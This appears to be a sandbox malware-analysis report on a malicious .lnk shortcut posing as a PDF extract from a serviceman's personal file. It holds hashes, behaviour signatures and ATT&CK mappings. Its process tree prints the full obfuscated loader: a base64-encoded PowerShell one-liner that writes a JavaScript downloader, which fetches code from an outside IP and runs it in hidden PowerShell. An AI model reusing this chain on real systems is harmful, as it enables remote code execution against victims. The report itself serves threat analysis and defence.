8b9db1f5256b949d00dea4610d64138c566dc5ada75cf8dffa7bbe764baa3508

General

Target
VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
Size 106KB
Sample260819-yjgbysvtbz
SHA256 8b9db1f5256b949d00dea4610d64138c566dc5ada75cf8dffa7bbe764baa3508
MD5 a7a4fda845f63ab911eedf562a70cbd3
SHA1 708449c3a73728e048e295bf1143d4fad3b0bdd4
SHA512 72ab415fc2c5e83e7aea98099f191b9480564e3d182d3c6764ff0d5196c7ba3e23cbeb1d28a74a4b2a42a4aa0fd60e5cf3b1c412469f164938d5652ce97aed35
SSDEEP 24:8d/42WPUcFlYaInZNIdbxMxImK1WOHBnTZzs+m9lIlWbZJmMr:8l42KU+YT8dVMxGHHBtu9lfq
TLSH
T1E6B3C03477F90119E2F3EFB1BDB5BAD59DABFA736961429A408243094920900ED2573A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2156	cscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1440	powershell.exe
3756	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4276	cmd.exe
3900	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3756	powershell.exe
3756	powershell.exe
1440	powershell.exe
1440	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 4276	3900	cmd.exe	86
PID 4276 wrote to memory of 3756	4276	cmd.exe	87
PID 4276 wrote to memory of 2156	4276	cmd.exe	88
PID 2156 wrote to memory of 1440	2156	cscript.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\VYTIaH_iz_osoboviy_spravy_viskovosluzhbovtsia.pdf.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9raW5kbmVzc';$b='2ludGVyZmVyZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZW';$c='N0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs=';[IO.File]::WriteAllBytes('6N7r2.js',[Convert]::FromBase64String($a+$b+$c))" && cscript //nologo //b 6N7r2.js && del 6N7r2.js"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4276
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -C "$a='dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS44Mi4xMjcuMTYvZG52MXNsMi9raW5kbmVzc';$b='2ludGVyZmVyZS5wczEiLGZhbHNlKTtoLnNldFJlcXVlc3RIZWFkZXIoIlVzZXItQWdlbnQiLCJVQSBXaW5kb3dzUG93ZXJTaGVsbCIpO2guc2VuZCgpO25ldyBBY3RpdmVYT2JqZW';$c='N0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgicG93ZXJzaGVsbC5leGUiLCItTm9QIC1XIEhpZGRlbiAtQyAiK2gucmVzcG9uc2VUZXh0LCIiLCJvcGVuIiwwKTs=';[IO.File]::WriteAllBytes('6N7r2.js',[Convert]::FromBase64String($a+$b+$c))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3756
- - C:\Windows\system32\cscript.exe
    cscript //nologo //b 6N7r2.js
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -W Hidden -C <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.58 (Ubuntu) Server at 185.82.127.16 Port 80</address> </body></html>
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

3

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9c535eb447a39a3a1293fa5e0e1d78935abd2d8869dc7d39ca8b6aaf28e004f9
MD5 aa651a2c3eadb847c6909678c815f122
SHA1 9b41b2a6d7d7afe3b8a06026d6c4b8b70438c21e
SHA512 d52270e2a1622749e23e01658a5fd8448df71d62c9e50608d850766bbada2e5e03529aaf320d76c21d25f30fe119ec41444b3f46054c85c2721b04d7f967857c
MD5 SHA1 SHA512

Submit Download

6N7r2.js

Path C:\Users\Admin\AppData\Local\Temp\6N7r2.js
Size 308B
SHA256 a58fdfd669b7270c5e976ba1e5c3fb252a227b39023d0479e5739d542c8d8ffe
MD5 71ad943d666ac19854e37d1dfb62458f
SHA1 b98aeb9431723b9fcae65107e0556090b6fb2e77
SHA512 84dc83f0cf093547520e2e9088cce69fc65b178c0735cf3bcc67d42c9257078eedad32a7c844f62da89d5415440abc049157eb40f0808c8da8389b1acc1af1da
TLSH
T19CE07D544035F0DD11CADFEC5410D76442DB81A07406A8EFF784CAD52491384514D28E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1tfgxhip.zpq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tfgxhip.zpq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3756-0-0x000001E5015F0000-0x000001E501600000-memory.dmp

Download

memory/3756-1-0x000001E5015F0000-0x000001E501600000-memory.dmp

Download

memory/3756-2-0x000001E57FA40000-0x000001E57FA62000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads